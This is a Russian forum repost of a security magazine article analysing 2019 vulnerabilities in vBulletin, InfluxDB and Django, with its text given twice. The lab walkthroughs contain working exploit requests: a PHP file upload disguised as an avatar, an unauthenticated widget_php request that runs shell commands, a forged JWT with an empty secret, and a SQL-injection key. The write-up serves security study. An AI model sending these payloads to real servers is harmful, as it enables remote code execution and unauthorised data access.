D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Сегодня мы поговорим сразу о нескольких уязвимостях. Одна из них была найдена в популярном форумном движке vBulletin и позволяет атакующему выполнять произвольный код, не имея никаких прав, — от такого безобразия его отделяет лишь один POST-запрос. Также я потреплю старичка Django в поисках SQL-инъекций и покажу, как работает обход авторизации в базе данных InfluxDB.
2019 год подходит к концу, все начинают усиленно готовиться к праздникам. Безопасники добивают свои последние аудиты, которые из года в год наваливаются в эту пору. Неудивительно — ведь фискальный год тоже подходит к концу, а бюджеты еще не до конца потрачены!
После таких плодотворных недель кругом начинается затишье, и это касается в том числе информационной безопасности. Не так много уязвимостей и активностей приходится на конец декабря и начало января. Поэтому сейчас самое время вспомнить баги, которые, возможно, остались незамеченными в течение года.
Они просты по своей сути, однако это не мешает им иметь критический статус. Одни дают возможность выполнить произвольный код, другие — получить доступ к чувствительным данным или вовсе захватить полный доступ к системе. В этом году сильно досталось коммерческому форумному движку vBulletin: сразу несколько опасных багов было найдено в последних его версиях во второй половине года. С них и начнем.
RCE через загрузку аватара в vBulletin
Автор: Эджидио Романо (Egidio Romano aka EgiX)
Дата релиза: 4.10.2019
CVE: CVE-2019-17132
Уязвимые версии: vBulletin <= 5.5.4
Чтобы более предметно разговаривать о найденной проблеме, нужно поднять стенд и посмотреть на нее поближе. Так как vBulletin — коммерческое приложение, я предлагаю тебе самостоятельно решить, каким образом его найти.
В качестве базы данных будем использовать MySQL, а в качестве веб-сервера — докер-контейнер на основе Debian.
Код: Скопировать в буфер обмена
Устанавливаем стандартный набор из Apache2 и PHP.
Bash: Скопировать в буфер обмена
После этого можно запускать веб-сервер.
Bash: Скопировать в буфер обмена
Теперь устанавливаем vBulletin, я буду использовать версию 5.4.3.
Установка vBulletin версии 5.4.3
По дефолту загруженные файлы хранятся в базе данных, такое поведение совместимо с эксплуатацией уязвимости. Поэтому сначала нужно зайти в настройки и поменять место хранения аватаров.
Меняем место хранения загруженных аватаров пользователей в vBulletin
Загружается аватар через отправку запроса POST на
Код: Скопировать в буфер обмена
Если здесь просто попытаться загрузить PHP-файл, то ничего не выйдет. Расширение файла определяется библиотекой, которая работает с картинками. Если переданный документ не будет картинкой, то скрипт просто прекратит свою работу с ошибкой not_an_image.
core/vb/library/user.php
Код: Скопировать в буфер обмена
После всех манипуляций вызывается updateAvatar с параметрами аватара в $filearray.
Однако существует возможность напрямую вызвать этот метод API. Чтобы это сделать, нужно отправить запрос на эндпойнт ajax/api/user/updateAvatar.
Если заглянуть в тело метода updateAvatar, то можно обнаружить любопытный участок кода.
core/vb/api/user.php
Код: Скопировать в буфер обмена
Здесь расширение берется из массива $data, который можно просто передать в теле запроса. Оно будет иметь следующий вид:
Код: Скопировать в буфер обмена
Когда userid установлен в ноль, скрипт выбирает текущего авторизованного пользователя, а avatarid, равный нулю, говорит, что нужно загружать аватар, а не удалять.
Вот мы и подобрались к самой сути уязвимости. vBulletin не проверят должным образом параметры data[extension] и data[fildeata], и это позволяет творить чудесные вещи. Например, установим расширение php, а в data[filedata] передадим простой PHP-код.
Код: Скопировать в буфер обмена
Загрузка PHP-скрипта как аватара через метод API /ajax/api/user/updateAvatar
Если сервер вернул true, то дело в шляпе, PHP-скрипт был создан. Чтобы узнать путь до него, нужно определить текущий avatarrevision. Это можно сделать, просто загрузив следом валидную картинку. Сервер вернет путь до файла вида
Код: Скопировать в буфер обмена
Число после подчеркивания и будет текущей ревизией. Значит, предыдущая была на единицу меньше, так как она автоматически инкрементируется с каждой загрузкой. В моем случае это 35, а значит, путь до скрипта будет таким:
Код: Скопировать в буфер обмена
Переходим по нему и видим информацию из
Успешная эксплуатация vBulletin. Выполнение произвольного PHP-кода
Конечно же, существует эксплоит, который автоматизирует все действия и предоставляет интерфейс для выполнения команд в виде шелла. Нужно лишь указать логин и пароль пользователя форума.
Эксплуатация RCE в vBulletin
RCE через виджет в vBulletin
Автор: неизвестен
Дата релиза: 24.9.2019
CVE: CVE-2019-16759
Уязвимые версии: vBulletin 5.0.0–5.5.4
Вторая уязвимость в vBulletin еще проще, но при этом гораздо опаснее. Все потому, что эксплуатация не требует вообще никаких привилегий от атакующего.
В vBulletin, как и во всех современных CMS, существует система виджетов. Это небольшие кусочки кода, часто динамические, которые можно использовать при формировании контента на сайте. Один из таких виджетов — PHP. Как понятно из названия, он позволяет выполнять произвольный PHP-код и выводить его результаты на сайт.
PHP-виджет в vBulletin
Замечательная вещь, вот только доступна она не одним администраторам, а любому пользователю, который отправит верный запрос к
Все виджеты инициализируются при установке vBulletin. Информация о шаблонах и непосредственно самих виджетах записывается в таблицы template и widget базы данных. Вот так выглядит интересующий нас widget_php.
Запись в таблице widget
Шаблон виджета widget_php в таблице template
Содержимое шаблона формируется при парсинге XML-файла во время установки vBulletin.
core/install/vbulletin-widgets.xml
XML: Скопировать в буфер обмена
core/install/vbulletin-style.xml
XML: Скопировать в буфер обмена
Обрати внимание на строки 65 198–65 200. Если параметр code не пустой и в настройках vBulletin не отключено выполнение PHP-кода (а по дефолту именно так оно и есть), то вызывается функция evalCode.
includes/vb5/frontend/controller/bbcode.php
PHP: Скопировать в буфер обмена
Эта функция выполняет переданный ей код на PHP и возвращает результат. Все, что нужно, чтобы проэксплуатировать уязвимость, — это передать на эндпойнт ajax/render/widget_php необходимые конструкции в
Код: Скопировать в буфер обмена
Выполнение произвольного кода в vBulletin через виджет
В ответе сервера получаем результат выполненных команд.
Это настолько нелепо, что сильно напоминает обычный бэкдор, который не очень-то и пытались скрыть. Либо это досаднейший недосмотр разработчиков. В продуктах такого калибра, как vBulletin, подобного происходить не должно.
Обход аутентификации в InfluxDB
Автор: неизвестен
Дата релиза: 27.3.2019
CVE: нет
Уязвимые версии: все версии всех основных веток (1.6, 1.7, 1.8), выпущенные до 2 апреля 2019 года
Давай немного отдохнем от PHP и переключимся на что-нибудь другое. На очереди база данных InfluxDB.
Это кросс-платформенное опенсорсное решение для хранения временных рядов, так называемая time series database (TSDB). Она полностью написана на языке Go, не требует внешних зависимостей и чаще всего используется для хранения больших объемов данных с метками времени. Это, например, данные мониторинга, метрики приложений и показатели датчиков IoT.
Синтаксис запросов InfluxDB чем-то похож на SQL. В целом это не такой уж и редкий гость в корпоративной среде, мне частенько попадаются инстансы во время аудитов.
Для начала запустим докер-контейнер с уязвимой версией БД. При этом я сразу указываю администратора и его пароль.
Код: Скопировать в буфер обмена
По дефолту интерфейс доступен на порте 8086.
База данных поддерживает аутентификацию при помощи токенов JWT. Заглянем в сорцы.
influxdb-1.7.5/services/httpd/handler.go
Код: Скопировать в буфер обмена
Если внимательно посмотреть, то нет никакой проверки, что SharedSecret не пуст. А это значит, что атакующему для авторизации достаточно передать строку нулевой длины в качестве секрета и валидное имя пользователя.
Давай проверим это. Сгенерировать данные можно, например, на jwt.io.
Генерируем данные для аутентификации в InfluxDB
Теперь просто отправляем полученную строку в хидере Authorization вместе с необходимым запросом. Я пробую выполнить
Код: Скопировать в буфер обмена
Обход аутентификации в InfluxDB при помощи пустой переменной shared-secret
Вуаля, сервер возвращает результаты запроса, а значит, авторизация была успешно пройдена.
Такого, разумеется, быть не должно, и разработчики уже выпустили патч, который добавляет необходимые проверки. Проблему усугубляло еще и то, что на момент публикации уязвимости в официальной документации Authentication and authorization не было никакого упоминания ни о shared-secret, ни о том, насколько опасно оставлять его пустым. Сейчас справочная страница обновлена и такой раздел уже существует, да и сама система теперь автоматически отключает аутентификацию этим способом, если указан пустой shader-secret.
SQL-инъекция в Django
Теперь переключимся на Python, а именно фреймворк Django, который довольно редко мелькает в рассылках по информационной безопасности.
Автор: Сейдж Абдулла (Sage M. Abdullah)
Дата релиза: 8.9.2019
CVE: CVE-2019-14234
Уязвимые версии: в ветке Django 1.11 все версии до 1.11.23, в 2.1 до 2.1.11 и в 2.2 до 2.2.4
Сначала займемся тестовым окружением. Здесь за нас уже все сделали ребята из vulhub. Клонируй их репозиторий и отправляйся в папку CVE-2019-14234. В ней ты найдешь все, что нужно. Запустить готовый стенд можно парой команд.
Код: Скопировать в буфер обмена
Сборка и запуск стенда для теста уязвимости в Django
На борту последняя уязвимая версия Django из ветки 2.2 — 2.2.3, а также необходимые данные. После развертывания окружения веб-сервер будет доступен на 8000-м порте.
Работающий стенд для тестирования CVE-2019-14234
Первым делом идем в админку и авторизуемся как admin:a123123123. Здесь есть несколько коллекций. Поле detail является экземпляром класса JSONField.
vuln/migrations/0001_initial.py
Python: Скопировать в буфер обмена
vuln/models.py
Python: Скопировать в буфер обмена
Как видишь, в качестве базы данных используется Postgres. Данные в нее были импортированы из файла collection.json.
docker-entrypoint.sh
Код: Скопировать в буфер обмена
collection.json
Код: Скопировать в буфер обмена
Импортированные данные в Django
Конструкция с двумя нижними подчеркиваниями (shallow key) говорит Django о том, что нужно выполнить расширенную фильтрацию данных. Например, требуется выбрать записи, которые содержат тег django. В этом поможет конструкция вида detail__tags__contains.
Фильтрация данных в Django при помощи shallow keys
Эта конструкция парсится и трансформируется в запрос к базе данных. В терминологии Django __tags— это transform, а __contains — это lookup. Первое говорит, где нужно искать (в каком поле), а второе — каким образом выполнять сравнение с переданными значениями.
/django-2.2.3/django/db/models/lookups.py
Код: Скопировать в буфер обмена
Так как JSONField — это специальный тип данных в Postgres, то для корректной работы с ним нужно было изменить логику обычных transform и lookup. И если lookup практически не изменился, то transform — кардинально. Посмотрим на имплементацию метода get_transform.
/django-2.2.3/django/contrib/postgres/fields/jsonb.py
Код: Скопировать в буфер обмена
В конечном счете модель должна сгенерировать SQL-запрос. За это отвечает метод as_sql.
/django-2.2.3/django/contrib/postgres/fields/jsonb.py
Python: Скопировать в буфер обмена
Как видно из кода, если я передам одинарную кавычку в названии ключа, который нужно искать в объекте JSON, то разорву конкатенацию строки и нарушу логику запроса.
SQL-инъекция в Django 2.2.3
Код: Скопировать в буфер обмена
Здесь уже можно применять обычные техники эксплуатации SQL-инъекций, а так как это Postgres, то существует возможность раскрутить ее до выполнения произвольного кода.
Аналогичную проблему можно наблюдать в реализации HStoreField.
/django-2.2.3/django/contrib/postgres/fields/hstore.py
Python: Скопировать в буфер обмена
На этом мы и закончим. Впереди новый год и, можно не сомневаться, новые баги!
Автор @iamsecurity aka aLLy
хакер.ру
2019 год подходит к концу, все начинают усиленно готовиться к праздникам. Безопасники добивают свои последние аудиты, которые из года в год наваливаются в эту пору. Неудивительно — ведь фискальный год тоже подходит к концу, а бюджеты еще не до конца потрачены!
После таких плодотворных недель кругом начинается затишье, и это касается в том числе информационной безопасности. Не так много уязвимостей и активностей приходится на конец декабря и начало января. Поэтому сейчас самое время вспомнить баги, которые, возможно, остались незамеченными в течение года.
Они просты по своей сути, однако это не мешает им иметь критический статус. Одни дают возможность выполнить произвольный код, другие — получить доступ к чувствительным данным или вовсе захватить полный доступ к системе. В этом году сильно досталось коммерческому форумному движку vBulletin: сразу несколько опасных багов было найдено в последних его версиях во второй половине года. С них и начнем.
RCE через загрузку аватара в vBulletin
Автор: Эджидио Романо (Egidio Romano aka EgiX)
Дата релиза: 4.10.2019
CVE: CVE-2019-17132
Уязвимые версии: vBulletin <= 5.5.4
Чтобы более предметно разговаривать о найденной проблеме, нужно поднять стенд и посмотреть на нее поближе. Так как vBulletin — коммерческое приложение, я предлагаю тебе самостоятельно решить, каким образом его найти.
В качестве базы данных будем использовать MySQL, а в качестве веб-сервера — докер-контейнер на основе Debian.
Код: Скопировать в буфер обмена
Код:
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="EAQhaTXieg" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
docker run --rm -ti --link=mysql --name=websrv --hostname=websrv -p80:80 debian /bin/bash
Bash: Скопировать в буфер обмена
apt update && apt install -y apache2 php nano php-mysqli php-xml php-gd
После этого можно запускать веб-сервер.
Bash: Скопировать в буфер обмена
service apache2 start
Теперь устанавливаем vBulletin, я буду использовать версию 5.4.3.

Установка vBulletin версии 5.4.3
По дефолту загруженные файлы хранятся в базе данных, такое поведение совместимо с эксплуатацией уязвимости. Поэтому сначала нужно зайти в настройки и поменять место хранения аватаров.

Меняем место хранения загруженных аватаров пользователей в vBulletin
Загружается аватар через отправку запроса POST на
/profile/upload-profilepicture
.Код: Скопировать в буфер обмена
Код:
POST /profile/upload-profilepicture HTTP/1.1
Host: web.fh
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2V36WCZNIGxAuYwu
Cookie: сессионные_куки_
---WebKitFormBoundary2V36WCZNIGxAuYwu
Content-Disposition: form-data; name="profilePhotoFile"; filename="orange_box.png"
Content-Type: image/png
содержимое_файла
---WebKitFormBoundary2V36WCZNIGxAuYwu
Content-Disposition: form-data; name="securitytoken"
CSRF-токен
---WebKitFormBoundary2V36WCZNIGxAuYwu--
core/vb/library/user.php
Код: Скопировать в буфер обмена
Код:
1335: public function uploadAvatar($filename, $crop = array(), $userid = false, $adminoverride = false)
1336: {
...
1339: $isImage = $imageHandler->fileLocationIsImage($filename);
1340: if ($isImage)
1341: {
...
1359: $fileInfo = $imageHandler->fetchImageInfo($filename);
...
1361: else
1362: {
1363: // throw something useful here.
1364: throw new vB_Exception_Api('not_an_image');
1365: }
...
1435: $ext = strtolower($fileInfo[2]);
1436:
1437: $dimensions['extension'] = empty($ext) ? $pathinfo['extension'] : $ext;
...
1485: 'extension' => $dimensions['extension'],
...
1511: $result = $api->updateAvatar($userid, false, $filearray, true);
Однако существует возможность напрямую вызвать этот метод API. Чтобы это сделать, нужно отправить запрос на эндпойнт ajax/api/user/updateAvatar.
Если заглянуть в тело метода updateAvatar, то можно обнаружить любопытный участок кода.
core/vb/api/user.php
Код: Скопировать в буфер обмена
Код:
4111: public function updateAvatar($userid, $avatarid, $data = array(), $cropped = false)
4112: {
...
4149: if ($useavatar)
4150: {
4151: if (!$avatarid)
4152: {
...
4166: if (empty($data['extension']))
4167: {
4168: $filebits = explode('.', $data['filename']);
4169: $data['extension'] = end($filebits);
4170: }
4171:
4172: $userpic->set('extension', $data['extension']);
...
4182: $avatarfilename = "avatar{$userid}_{$avatarrevision}.{$data['extension']}";
...
4186: $avatarres = @fopen("$avatarpath/$avatarfilename", 'wb');
...
4187: $userpic->set('filename', $avatarfilename);
4188: fwrite($avatarres, $data['filedata']);
4189: @fclose($avatarres);
Код: Скопировать в буфер обмена
userid=0&avatarid=0&data[extension]=<расширение_файла>&data[filedata]=<содержимое_файла>&securitytoken=<токен>
Когда userid установлен в ноль, скрипт выбирает текущего авторизованного пользователя, а avatarid, равный нулю, говорит, что нужно загружать аватар, а не удалять.
Вот мы и подобрались к самой сути уязвимости. vBulletin не проверят должным образом параметры data[extension] и data[fildeata], и это позволяет творить чудесные вещи. Например, установим расширение php, а в data[filedata] передадим простой PHP-код.
Код: Скопировать в буфер обмена
Код:
POST /ajax/api/user/updateAvatar HTTP/1.1
Host: web.fh
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=355lckvqh94p8sj61v7a4rvkvq; np_notices_displayed=; lastvisit=1576635268; lastactivity=1576672162; sessionhash=d3c263fa681b0b7cf8be74eab13aee6a
userid=0&avatarid=0&data[extension]=php&data[filedata]=<?php phpinfo(); ?>&securitytoken=1576672162-20c4434e90101a08780f3e0447410b20c03dc8a4

Загрузка PHP-скрипта как аватара через метод API /ajax/api/user/updateAvatar
Если сервер вернул true, то дело в шляпе, PHP-скрипт был создан. Чтобы узнать путь до него, нужно определить текущий avatarrevision. Это можно сделать, просто загрузив следом валидную картинку. Сервер вернет путь до файла вида
Код: Скопировать в буфер обмена
{"hascustom":1,"avatarpath":"customavatars\/avatar2_36.png"}
Число после подчеркивания и будет текущей ревизией. Значит, предыдущая была на единицу меньше, так как она автоматически инкрементируется с каждой загрузкой. В моем случае это 35, а значит, путь до скрипта будет таким:
Код: Скопировать в буфер обмена
http://web.fh/core/customavatars/avatar2_35.php
Переходим по нему и видим информацию из
phpinfo()
.
Успешная эксплуатация vBulletin. Выполнение произвольного PHP-кода
Конечно же, существует эксплоит, который автоматизирует все действия и предоставляет интерфейс для выполнения команд в виде шелла. Нужно лишь указать логин и пароль пользователя форума.

Эксплуатация RCE в vBulletin
RCE через виджет в vBulletin
Автор: неизвестен
Дата релиза: 24.9.2019
CVE: CVE-2019-16759
Уязвимые версии: vBulletin 5.0.0–5.5.4
Вторая уязвимость в vBulletin еще проще, но при этом гораздо опаснее. Все потому, что эксплуатация не требует вообще никаких привилегий от атакующего.
В vBulletin, как и во всех современных CMS, существует система виджетов. Это небольшие кусочки кода, часто динамические, которые можно использовать при формировании контента на сайте. Один из таких виджетов — PHP. Как понятно из названия, он позволяет выполнять произвольный PHP-код и выводить его результаты на сайт.

PHP-виджет в vBulletin
Замечательная вещь, вот только доступна она не одним администраторам, а любому пользователю, который отправит верный запрос к
ajax/render/widget_php
.Все виджеты инициализируются при установке vBulletin. Информация о шаблонах и непосредственно самих виджетах записывается в таблицы template и widget базы данных. Вот так выглядит интересующий нас widget_php.

Запись в таблице widget

Шаблон виджета widget_php в таблице template
Содержимое шаблона формируется при парсинге XML-файла во время установки vBulletin.
core/install/vbulletin-widgets.xml
XML: Скопировать в буфер обмена
Код:
1114: <widget guid="vbulletin-widget_15-4eb423cfd6bd63.20171439">
1115: <parentguid>vbulletin-abstractwidget-global</parentguid>
1116: <template>widget_php</template>
1117: <icon>module-icon-php.png</icon>
1118: <isthirdparty>0</isthirdparty>
1119: <category>Generic</category>
...
1143: <definition>
1144: <name>code</name>
1145: <field>LongText</field>
...
1153: </definitions>
1154: </widget>
core/install/vbulletin-style.xml
XML: Скопировать в буфер обмена
Код:
65182: <template name="widget_php" templatetype="template" date="1452807873" username="vBulletin Solutions" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
...
65190: <div class="b-module{vb:var widgetConfig.show_at_breakpoints_css_classes} canvas-widget default-widget custom-html-widget" id="widget_{vb:raw widgetinstanceid}" data-widget-id="{vb:raw widgetid}" data-widget-instance-id="{vb:raw widgetinstanceid}">
65191:
65192: {vb:template module_title,
65193: widgetConfig={vb:raw widgetConfig},
65194: show_title_divider=1,
65195: can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
65196:
65197: <div class="widget-content">
65198: <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
65199: {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
65200: {vb:raw $evaledPHP}
65201: <vb:else />
...
65207: </div>]]></template>
includes/vb5/frontend/controller/bbcode.php
PHP: Скопировать в буфер обмена
Код:
213: function evalCode($code)
214: {
215: ob_start();
216: eval($code);
217: $output = ob_get_contents();
218: ob_end_clean();
219: return $output;
220: }
widgetConfig['code']
. Код: Скопировать в буфер обмена
Код:
POST /ajax/render/widget_php HTTP/1.1
Host: web.fh
Content-Length: 65
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
widgetConfig[code]=echo shell_exec('uname -a; id; whoami');exit;

Выполнение произвольного кода в vBulletin через виджет
В ответе сервера получаем результат выполненных команд.
Это настолько нелепо, что сильно напоминает обычный бэкдор, который не очень-то и пытались скрыть. Либо это досаднейший недосмотр разработчиков. В продуктах такого калибра, как vBulletin, подобного происходить не должно.
Обход аутентификации в InfluxDB
Автор: неизвестен
Дата релиза: 27.3.2019
CVE: нет
Уязвимые версии: все версии всех основных веток (1.6, 1.7, 1.8), выпущенные до 2 апреля 2019 года
Давай немного отдохнем от PHP и переключимся на что-нибудь другое. На очереди база данных InfluxDB.
Это кросс-платформенное опенсорсное решение для хранения временных рядов, так называемая time series database (TSDB). Она полностью написана на языке Go, не требует внешних зависимостей и чаще всего используется для хранения больших объемов данных с метками времени. Это, например, данные мониторинга, метрики приложений и показатели датчиков IoT.
Синтаксис запросов InfluxDB чем-то похож на SQL. В целом это не такой уж и редкий гость в корпоративной среде, мне частенько попадаются инстансы во время аудитов.
Для начала запустим докер-контейнер с уязвимой версией БД. При этом я сразу указываю администратора и его пароль.
Код: Скопировать в буфер обмена
docker run --rm -d -p8086:8086 -e INFLUXDB_HTTP_AUTH_ENABLED=true -e INFLUXDB_ADMIN_USER=admin -e INFLUXDB_ADMIN_PASSWORD=admin -e INFLUXDB_DB=sample influxdb:1.7.5
По дефолту интерфейс доступен на порте 8086.
База данных поддерживает аутентификацию при помощи токенов JWT. Заглянем в сорцы.
influxdb-1.7.5/services/httpd/handler.go
Код: Скопировать в буфер обмена
Код:
1553: func authenticate(inner func(http.ResponseWriter, *http.Request, meta.User), h *Handler, requireAuthentication bool) http.Handler {
1554: return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
...
1585: case BearerAuthentication:
1586: keyLookupFn := func(token *jwt.Token) (interface{}, error) {
1587: // Check for expected signing method.
1588: if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
1589: return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
1590: }
1591: return []byte(h.Config.SharedSecret), nil
1592: }
1593:
1594: // Parse and validate the token.
1595: token, err := jwt.Parse(creds.Token, keyLookupFn)
1596: if err != nil {
1597: h.httpError(w, err.Error(), http.StatusUnauthorized)
1598: return
1599: } else if !token.Valid {
1600: h.httpError(w, "invalid token", http.StatusUnauthorized)
1601: return
1602: }
Давай проверим это. Сгенерировать данные можно, например, на jwt.io.

Генерируем данные для аутентификации в InfluxDB
Теперь просто отправляем полученную строку в хидере Authorization вместе с необходимым запросом. Я пробую выполнить
SHOW users
.Код: Скопировать в буфер обмена
Код:
POST /query HTTP/1.1
Host: influx.fh:8086
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTc3MjM5MDIyfQ.x-gfOaWUKs9GBqhF5p3MPYvQ5WhqNzxTTlElYpM8n_E
db=sample&q=show+users

Обход аутентификации в InfluxDB при помощи пустой переменной shared-secret
Вуаля, сервер возвращает результаты запроса, а значит, авторизация была успешно пройдена.
Такого, разумеется, быть не должно, и разработчики уже выпустили патч, который добавляет необходимые проверки. Проблему усугубляло еще и то, что на момент публикации уязвимости в официальной документации Authentication and authorization не было никакого упоминания ни о shared-secret, ни о том, насколько опасно оставлять его пустым. Сейчас справочная страница обновлена и такой раздел уже существует, да и сама система теперь автоматически отключает аутентификацию этим способом, если указан пустой shader-secret.
SQL-инъекция в Django
Теперь переключимся на Python, а именно фреймворк Django, который довольно редко мелькает в рассылках по информационной безопасности.
Автор: Сейдж Абдулла (Sage M. Abdullah)
Дата релиза: 8.9.2019
CVE: CVE-2019-14234
Уязвимые версии: в ветке Django 1.11 все версии до 1.11.23, в 2.1 до 2.1.11 и в 2.2 до 2.2.4
Сначала займемся тестовым окружением. Здесь за нас уже все сделали ребята из vulhub. Клонируй их репозиторий и отправляйся в папку CVE-2019-14234. В ней ты найдешь все, что нужно. Запустить готовый стенд можно парой команд.
Код: Скопировать в буфер обмена
Код:
docker-compose build
docker-compose up -d

Сборка и запуск стенда для теста уязвимости в Django
На борту последняя уязвимая версия Django из ветки 2.2 — 2.2.3, а также необходимые данные. После развертывания окружения веб-сервер будет доступен на 8000-м порте.

Работающий стенд для тестирования CVE-2019-14234
Первым делом идем в админку и авторизуемся как admin:a123123123. Здесь есть несколько коллекций. Поле detail является экземпляром класса JSONField.
vuln/migrations/0001_initial.py
Python: Скопировать в буфер обмена
Код:
04: from django.contrib.postgres.fields import JSONField
...
14: operations = [
15: migrations.CreateModel(
16: name='Collection',
17: fields=[
18: ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
19: ('name', models.CharField(max_length=128)),
20: ('detail', JSONField()),
21: ],
22: ),
23: ]
vuln/models.py
Python: Скопировать в буфер обмена
Код:
05: class Collection(models.Model):
06: name = models.CharField(max_length=128)
07: detail = JSONField()
08:
09: def __str__(self):
10: return self.name
docker-entrypoint.sh
Код: Скопировать в буфер обмена
Код:
6: wait-for-it.sh -t 0 db:5432 -- echo "postgres is up"
7:
8: python manage.py migrate
9: python manage.py loaddata collection.json
collection.json
Код: Скопировать в буфер обмена
Код:
01: [
02: {
03: "model": "vuln.Collection",
04: "pk": 1,
05: "fields": {
06: "name": "Example 1",
07: "detail": {
08: "title": "title 1",
09: "author": "vulhub",
10: "tags": ["python", "django"],
...
16: "model": "vuln.Collection",
17: "pk": 2,
18: "fields": {
19: "name": "Example 2",
...
23: "tags": ["python"],

Импортированные данные в Django
Конструкция с двумя нижними подчеркиваниями (shallow key) говорит Django о том, что нужно выполнить расширенную фильтрацию данных. Например, требуется выбрать записи, которые содержат тег django. В этом поможет конструкция вида detail__tags__contains.

Фильтрация данных в Django при помощи shallow keys
Эта конструкция парсится и трансформируется в запрос к базе данных. В терминологии Django __tags— это transform, а __contains — это lookup. Первое говорит, где нужно искать (в каком поле), а второе — каким образом выполнять сравнение с переданными значениями.
/django-2.2.3/django/db/models/lookups.py
Код: Скопировать в буфер обмена
Код:
013: class Lookup:
...
129: class Transform(RegisterLookupMixin, Func):
/django-2.2.3/django/contrib/postgres/fields/jsonb.py
Код: Скопировать в буфер обмена
Код:
07: from django.db.models import (
08: Field, TextField, Transform, lookups as builtin_lookups,
09: )
...
14: __all__ = ['JSONField']
15:
16:
17: class JsonAdapter(Json):
...
30: class JSONField(CheckFieldDefaultMixin, Field):
...
53: def get_transform(self, name):
54: transform = super().get_transform(name)
55: if transform:
56: return transform
57: return KeyTransformFactory(name)
/django-2.2.3/django/contrib/postgres/fields/jsonb.py
Python: Скопировать в буфер обмена
Код:
094: class KeyTransform(Transform):
095: operator = '->'
096: nested_operator = '#>'
...
098: def __init__(self, key_name, *args, **kwargs):
099: super().__init__(*args, **kwargs)
100: self.key_name = key_name
...
102: def as_sql(self, compiler, connection):
103: key_transforms = [self.key_name]
104: previous = self.lhs
105: while isinstance(previous, KeyTransform):
106: key_transforms.insert(0, previous.key_name)
107: previous = previous.lhs
108: lhs, params = compiler.compile(previous)
109: if len(key_transforms) > 1:
110: return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
111: try:
112: int(self.key_name)
113: except ValueError:
114: lookup = "'%s'" % self.key_name

SQL-инъекция в Django 2.2.3
Код: Скопировать в буфер обмена
SELECT COUNT(*) AS "__count" FROM "vuln_collection" WHERE ("vuln_collection"."detail" -> 'ta'gs') @> %s')
Здесь уже можно применять обычные техники эксплуатации SQL-инъекций, а так как это Postgres, то существует возможность раскрутить ее до выполнения произвольного кода.
Аналогичную проблему можно наблюдать в реализации HStoreField.
/django-2.2.3/django/contrib/postgres/fields/hstore.py
Python: Скопировать в буфер обмена
Код:
14: class HStoreField(CheckFieldDefaultMixin, Field):
...
25: def get_transform(self, name):
26: transform = super().get_transform(name)
27: if transform:
28: return transform
29: return KeyTransformFactory(name)
...
80: class KeyTransform(Transform):
81: output_field = TextField()
...
87: def as_sql(self, compiler, connection):
88: lhs, params = compiler.compile(self.lhs)
89: return "(%s -> '%s')" % (lhs, self.key_name), params
Автор @iamsecurity aka aLLy
хакер.ру